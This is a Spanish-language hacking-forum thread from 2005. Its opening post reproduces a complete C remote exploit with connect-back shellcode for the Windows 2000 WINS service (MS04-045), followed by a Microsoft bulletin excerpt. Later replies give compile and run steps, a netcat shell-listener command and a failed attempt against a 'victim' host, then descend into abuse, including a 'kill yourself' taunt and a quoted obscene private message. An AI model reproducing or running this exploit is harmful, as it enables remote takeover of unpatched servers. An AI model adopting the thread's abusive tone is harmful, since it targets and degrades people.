elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 11:57  


Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Exploit windows 2000 remote
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Exploit windows 2000 remote  (Leído 1,628 veces)
fandango
Another
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.953


Powered By Slackware!


Ver Perfil
Exploit windows 2000 remote
« en: 1 Enero 2005, 10:39 »

Aca les dejo un exploits remoto para el windows 2000 (fuente k-otik.com)

/*************************************************************/
/* ZUCWins 0.1 - Wins 2000 remote root exploit                                     */
/* Exploit by: zuc <zuc@hack.it>                                             */
/* works on Windows 2000 SP3/SP4 probably every language                  */
/* Successfully tested by K-OTik Security on Win2k ENGLISH & FRENCH    */
/*************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <netinet/in.h>
#include <curses.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

   char shellcode[] =
"\xeb\x25\xe9\xfa\x99\xd3\x77\xf6\x02\x06\x6c\x59\x6c\x59\xf8"
"\x1d\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f"
"\x33\x32\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d"
"\x83\xed\x2c\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
"\xad\x8b\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01"
"\xfb\x8b\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b"
"\x5b\x20\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe"
"\xac\x31\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x09\x8d\x44"
"\x45\x08\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50"
"\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f"
"\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09\x75\xbe\xfe\x4d\x08"
"\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0\x89\xc7\x6a\x02"
"\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x50\x8b\x45\x04\x35"
"\x93\x93\x93\x93\x89\x45\x04\x66\x8b\x45\x02\x66\x35\x93\x93"
"\x66\x89\x45\x02\x58\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46"
"\x56\xff\xd0\x89\xc7\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff"
"\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8\x55\x55\xff\x55\xec\x8d"
"\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64"
"\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57\x53\x53\xfe\xca\x01"
"\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53"
"\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff\x55\xf0\x6a\xff\xff"
"\x55\xe4";

char mess[] =
"\x00\x03\x0d\x4c\x77\x77\xFF\x77\x05\x4e\x00\x3c\x01\x02\x03\x04"
//  "\x00\x03\x0d\x4c\x77\x77\xFF\x77\x05\x4e\x00\x3c\x01\x02\x03\x04"
   
"\x6c\xf4\x3d\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\
x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05";
char rep[] =
   
"\x90\x01\x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x00\
x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x03\x4e\x05\x90\x00\x4e\x05";
void usage();

int main(int argc, char *argv[])
{
int i,sock,sock2,sock3,addr,len=16;
int rc;
  unsigned long XORIP = 0x93939393;
  unsigned short XORPORT = 0x9393;
int cbport;
long cbip;

struct sockaddr_in mytcp;
struct hostent * hp;

if(argc<4 || argc>4)
usage();

cbport = htons(atoi(argv[3]));
cbip = inet_addr(argv[2]);
cbport ^= XORPORT;
cbip ^= XORIP;
memcpy(&shellcode[2],&cbport,2);
memcpy(&shellcode[4],&cbip,4);

char mess2[200000];
memset(mess2,0,sizeof(mess2));
char mess3[210000];
memset(mess3,0,sizeof(mess3));
int ir;
for(ir =0;ir<200000;ir++)mess2[ir]='\x90';
memcpy(mess3,mess,sizeof(mess)-1);
int r=0;int le=sizeof(mess)-1;
for(r;r<30;r++)
{
   memcpy(mess3+le,rep,sizeof(rep)-1);
   le+=sizeof(rep)-1;
}
memcpy(mess3+le,mess2,200000);
memcpy(mess3+le+198000,shellcode,sizeof(shellcode));
int lenr=le+200000+sizeof(shellcode);
hp = gethostbyname(argv[1]);

addr = inet_addr(argv[1]);

sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (!sock)
{
//printf("socket() error...\n");
exit(-1);
}

mytcp.sin_addr.s_addr = addr;

mytcp.sin_family = AF_INET;

mytcp.sin_port=htons(42);

printf("
  • connecting the target\n");

rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct
sockaddr_in));
printf("
  • sending exploit\n");
send(sock,mess3,lenr,0);
printf("
  • exploit sent\n");
sleep(5);
shutdown(sock,1);
close(sock);
shutdown(sock,2);
close(sock2);
shutdown(sock,3);
close(sock3);
exit(0);
}

void usage()
{
unsigned int a;
printf("\nUsage: <victim-host> <connectback-ip> <connectback port>\n");
printf("Sample: ZUC-WINShit www.vulnwins.com 31.33.7.23 31337\n\n");
exit(0);
}

Boletín de seguridad de Microsoft MS04-045
Una vulnerabilidad en WINS podría permitir la ejecución remota de código (870763)

Publicado: 14 de diciembre de 2004
Versión: 1.0
Resumen

Quién debería leer este documento: Los clientes que utilicen Microsoft Windows Internet Naming Service (WINS)

Consecuencia de la vulnerabilidad:  Ejecución remota de código

Gravedad máxima: Importante

Recomendación: Los administradores de servidores WINS deberían instalar la actualización lo antes posible.

Actualizaciones de seguridad reemplazadas: Este boletín sustituye a una actualización de seguridad anterior. Para obtener la lista completa consulte la sección Preguntas más frecuentes (P+F) de este boletín.

Advertencias: Ninguna

Ubicaciones de descarga de la actualización de seguridad y software probado:

Software afectado:
•   

Microsoft Windows NT Server 4.0 Service Pack 6a – Descargar la actualización
•   

Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6 – Descargar la actualización
•   

Microsoft Windows 2000 Server Service Pack 3 y Microsoft Windows 2000 Server Service Pack 4: Descargar la actualización
•   

Microsoft Windows Server 2003: Descargar la actualización
•   

Microsoft Windows Server 2003 64-Bit Edition – Descargar la actualización

Software no afectado:
•   

Microsoft Windows 2000 Professional Service Pack 3 y Microsoft Windows 2000 Professional Service Pack 4
•   

Microsoft Windows XP Service Pack 1 y Microsoft Windows XP Service Pack 2
•   

Service Pack 1 de Microsoft Windows XP 64-Bit Edition Gold
•   

Microsoft Windows XP 64-Bit Edition Version 2003
•   

Microsoft Windows 98, Microsoft Windows 98 Segunda edición (SE) y Microsoft Windows Millennium Edition (Me)

Los programas de esta lista han sido probados para determinar si las versiones están afectadas. Por lo que se refiere a otras versiones, quizá ya no sean compatibles con las actualizaciones de seguridad o no se vean afectadas. Para determinar el ciclo de vida del soporte técnico de su producto y versión, visite el sitio Web Ciclo de vida del soporte técnico de Microsoft.

Saludos y Feliz año nuevo!.
En línea

netcat

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Exploit windows 2000 remote
« Respuesta #1 en: 2 Enero 2005, 13:26 »

ola gracias se ve que es bueno pero no lo puedo compilar me puedes ayudar porfavor o sino estoy en msn netcat_19@hotmail.com gracias viejo bye
En línea
fandango
Another
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.953


Powered By Slackware!


Ver Perfil
Re: Exploit windows 2000 remote
« Respuesta #2 en: 2 Enero 2005, 13:29 »

Este exploits lo tienes que compilar en linux asi:
gcc exploits.c -o exploit

y listo, luego lo ejecutas ./exploit.

saludos.
En línea

fandango
Another
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.953


Powered By Slackware!


Ver Perfil
Re: Exploit windows 2000 remote
« Respuesta #3 en: 2 Enero 2005, 18:18 »

Hola el otro dia estuve probando el exploits pero siempre me daba este error:
tomcat@nerv:~$ ./exploit www.victima.com miip 31337
  • connecting the target
  • sending exploit
Broken pipe
tomcat@nerv:~$

por supuesto que en otra shell dejaba el netcat a la escucha asi:
nc -l -vv -e cmd.exe -p 31337

pero siempre me daba el mismo error, alguna solucion?
En línea

Muahahahahaha

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: Exploit windows 2000 remote
« Respuesta #4 en: 6 Enero 2005, 00:30 »

1) Exploit es singular, no plural, se dice EXPLOIT sin S

2) Cuando pones el netcat a la escucha para que demonios pones tb el cmd a la escucha en ese puerto ?

2.1) cualquiera que estuviese haciendo un escaneo te podria haber entrado en la maquina

2.2) la opcion -e del netcat tiene un overflow, y no creo que te hallas actualizado a la 1.11 de win

3) el exploit del Wins que hay en k-otik no funciona, pero claro, supongo que sera demasiado para ti montarte un Win2k Server en un VMWare y debugear con el Olly a ver que pasa por los entresijos del Wins.exe cuando se le manda el exploit.

4) Yo lo he portado a Windows y no me da ningun segfault ni similares, a saber que has hecho para que te de un broken pipe

4) Suicidate y deja de "postear" subnormalidades

5) Estas mejor callado que haciendo ver lo estupido que eres

6) La ignorancia es osada, y en este foro MAS!

Por ultimo una sugerencia:
   - Quitate esa foto de avatar porque:
      - Es fea
      - Es grande
      - Fumar porros no es guay
      - Quitas la ilusion de papa noel al 95% de los "hackers" que moran por este foro que no pasan de los 7 años (ni fisica ni mentalmente)

PD: No se han puesto tildes intencionadamente
« Última modificación: 6 Enero 2005, 01:46 por Muahahahahaha » En línea
byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: Exploit windows 2000 remote
« Respuesta #5 en: 6 Enero 2005, 02:20 »

dejemonos de tonterias y de yo soy mas guay que tu yo molo mas pq he portado un exploit wowowo. si no te interesa te piras asi de claro.

Citar
- Quitas la ilusion de papa noel al 95% de los "hackers" que moran por este foro que no pasan de los 7 años (ni fisica ni mentalmente)


aclarando puntos, ni soy hacker ni pretendo serlo. pero te respondo como usuario del foro que soy, fisicamente te aseguro que la paso y mentalmente te aseguro que tb.

PD: y no voy a entrar al trapo, una respuesta mas que de a discusiones y se cierra el tema.
En línea
fandango
Another
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.953


Powered By Slackware!


Ver Perfil
Re: Exploit windows 2000 remote
« Respuesta #6 en: 6 Enero 2005, 07:35 »

1) Exploit es singular, no plural, se dice EXPLOIT sin S

2) Cuando pones el netcat a la escucha para que demonios pones tb el cmd a la escucha en ese puerto ?

2.1) cualquiera que estuviese haciendo un escaneo te podria haber entrado en la maquina

2.2) la opcion -e del netcat tiene un overflow, y no creo que te hallas actualizado a la 1.11 de win

3) el exploit del Wins que hay en k-otik no funciona, pero claro, supongo que sera demasiado para ti montarte un Win2k Server en un VMWare y debugear con el Olly a ver que pasa por los entresijos del Wins.exe cuando se le manda el exploit.

4) Yo lo he portado a Windows y no me da ningun segfault ni similares, a saber que has hecho para que te de un broken pipe

4) Suicidate y deja de "postear" subnormalidades

5) Estas mejor callado que haciendo ver lo estupido que eres

6) La ignorancia es osada, y en este foro MAS!

Por ultimo una sugerencia:
 - Quitate esa foto de avatar porque:
 - Es fea
 - Es grande
 - Fumar porros no es guay
 - Quitas la ilusion de papa noel al 95% de los "hackers" que moran por este foro que no pasan de los 7 años (ni fisica ni mentalmente)

PD: No se han puesto tildes intencionadamente
xDDDDDDDDD, ya te respondi por im.
En línea

Muahahahahaha

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: Exploit windows 2000 remote
« Respuesta #7 en: 6 Enero 2005, 10:02 »

despues de pensar durante 5 minutos que demonios era "im" me dije.. sera email pero como es hacker lo pone con i? y plin plin plin, premio para el caballero, si, era e-mail.

Y cual es mi sorpresa que me encuentro con esta retaila de insultos y frases desagradabres haciendo referencia a las partes nobles de mi madre y demas sandeces.

Aqui os lo reproduzco textualmente me ha llegado el correo, par que veais que tipo de individuos pululan por aqui:

Bueno, las direcciones de correo las omitire por esto del spam y esas cosas que estan ahora de moda

Código:
De: "Foro de elhacker.net" <XXXXXXY [AT] elhacker.net>
Asunto: Nuevo Mensaje Personal: Pavote!
Para: peletas69@mixmail.com <XXXXXXXXX [AT] mixmail.com>
Fecha: Jueves, 6 Enero 2005 07:31:10 +100


Acaban de enviarte un mensaje personal de parte de fandango en Foro de elhacker.net.

IMPORTANTE: Recuerda, esto es solamente una notificación. Por favor, no respondas a este email.

El mensaje que te enviaron fue:

Primero no soy hacker ni me la tiro como tu. "Quitas la ilusion de papa noel al 95% de los "hackers" que moran por este foro", te crees maduro y sos un pendejo puto, si fumo porro es mi problema la concha de tu madre. Y antes de abrir la boca para decir boludeces primero chupame la pija como lo hace tu vieja.
Y si quiero decir exploits lo digo como se me cante. Probe infeliz tiras bardo y sos un pobre ignorante.

Bye lammer de ***** ;)

Responder a este mensaje personal aquí: http://foro.elhacker.net/index.php?action=pm;sa=send;f=inbox;pmsg=blabla;quote;u=blabla

eso es to, eso es to, eso es todo amigos.
En línea
zaerik


Desconectado Desconectado

Mensajes: 1.341



Ver Perfil
Re: Exploit windows 2000 remote
« Respuesta #8 en: 6 Enero 2005, 10:09 »

Paso de meterme en el tema, solo aclarar unas cosas:

despues de pensar durante 5 minutos que demonios era "im" me dije.. sera email pero como es hacker lo pone con i? y plin plin plin, premio para el caballero, si, era e-mail.

Im no es email como tu dices, im = mensaje privado, es decir lo que te ha mandado es un mensaje privado, lo que pasa es que el foro te envia un aviso con el mensaje privado que te enviaron a tu correo, si miras arriba del foro te pondra algo asi como:

 Hola, TuNick, tienes x mensajes, x son nuevos

- Quitas la ilusion de papa noel al 95% de los "hackers" que moran por este foro que no pasan de los 7 años (ni fisica ni mentalmente)

Quien dijo que en este foro haya hackers?

Solo una cosa mas, si no te gusta el foro que haces aqui? xd

« Última modificación: 6 Enero 2005, 10:15 por ZaeriK » En línea
Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Re: Exploit windows 2000 remote
« Respuesta #9 en: 6 Enero 2005, 22:20 »

Yo no he probado el exploit del WINS, pero parece q a los de Hackxcrack sí q les ha funcionado: http://www.hackxcrack.com/phpBB2/viewtopic.php?t=20875

Para portar el código a Windows, supongo q sólo habrá q cambiar los includes y linkar otras librerias...


Muahahahahaha aka risas de malo maloso:
Citar
despues de pensar durante 5 minutos que demonios era "im" me dije.. sera email pero como es hacker lo pone con i? y plin plin plin, premio para el caballero, si, era e-mail.

Bling, bling, bling... IM = Instant Message!! ¬¬


Citar
4) Suicidate y deja de "postear" subnormalidades

5) Estas mejor callado que haciendo ver lo estupido que eres

6) La ignorancia es osada, y en este foro MAS!

De q vas??, tu sigue así, campeón... llegarás lejos!
« Última modificación: 6 Enero 2005, 22:22 por Gospel » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¿exploit windows 7?
Bugs y Exploits
murdoxix 3 1,514 Último mensaje 4 Abril 2012, 14:58
por ps3ps3ps3
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines